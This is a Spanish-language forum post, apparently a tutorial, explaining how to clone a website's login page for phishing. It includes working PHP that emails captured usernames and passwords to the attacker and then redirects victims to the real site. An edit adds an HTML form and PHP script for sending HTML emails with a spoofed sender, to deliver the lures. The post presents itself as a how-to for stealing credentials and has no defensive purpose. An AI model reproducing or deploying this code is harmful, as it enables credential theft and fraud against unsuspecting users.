Buenos dias/tardes/noches.
Os traigo un pequeño tutorial de como hacer phishing, aclaro que he seleccionado una pagina aleatoria.
Lo primero es irnos a la contraseña y darle a inspeccionar elemento.
Buscamos el form y le añadimos un action="scam.php"
Copiamos el codigo html en un archivo html y con codificacion UFT-8
En la misma carpeta donde tenemos el archivo html creamos un php con el siguiente codigo (en UFT-8 tambien):
<?php
$user = trim($_POST['el name del input del user']);
$password = trim($_POST['el name del input de pass']);
$correoreceptor = "aquí cámbialo y pon tu correo";
$asunto = "Ha caido una nueva víctima";
$mensaje = "Usuario: ".$user." - Contraseña: ".$password;
mail($correoreceptor, $asunto, $mensaje);
header('Location: Pagina real');
?>Ya solo hace falta buscar un host gratis y subirlo todo
Asi quedaria la pagina falsa
Y nos mandaria todos los logs a nuestro correo electronico
EDITO
He tenido varios problemas de los cuales solo aviso y no voy a explicar como librarse.
1º css en archivo en lugar de en html, tendreis que descargarlo para que la pagina quede exactamente igual.
2º script para impedir escribir en <input name="password"> en caso de estar en otra web, tendreis que borrar el script.
EDITO
Voy a explicar como hacer un panel para que mande un correo a donde tu quieras (Se suele usar mucho en el phishing)
lo primero es el codigo html al que llamaremos index.html
<html>
<head>
</head>
<body>
<div>
<h1>Phishing Pagina</h1>
<p>Correo al que desea enviar el email:</p>
<form action="correof.php" method="post">
<input name="correof" type="text">
<button type="submit">Enviar</button>
</form>
</div>
</body>
</html>Creamos un .php con este codigo (se llamara correof):
<?php
$correoreceptor = trim($_POST['correof']);
$asunto = "Asunto del correo";
$mensaje = 'Codigo html del cuerpo';
$cabeceras = 'MIME-Version: 1.0' . "\r\n";
$cabeceras .= 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
$cabeceras .= 'From: Nombre del que se envia <Correo del que se envia>' . "\r\n";
mail($correoreceptor, $asunto, $mensaje, $cabeceras);
?>También me pueden seguir en Twitter si les hace ilusión:
@RoloMijanSaludos
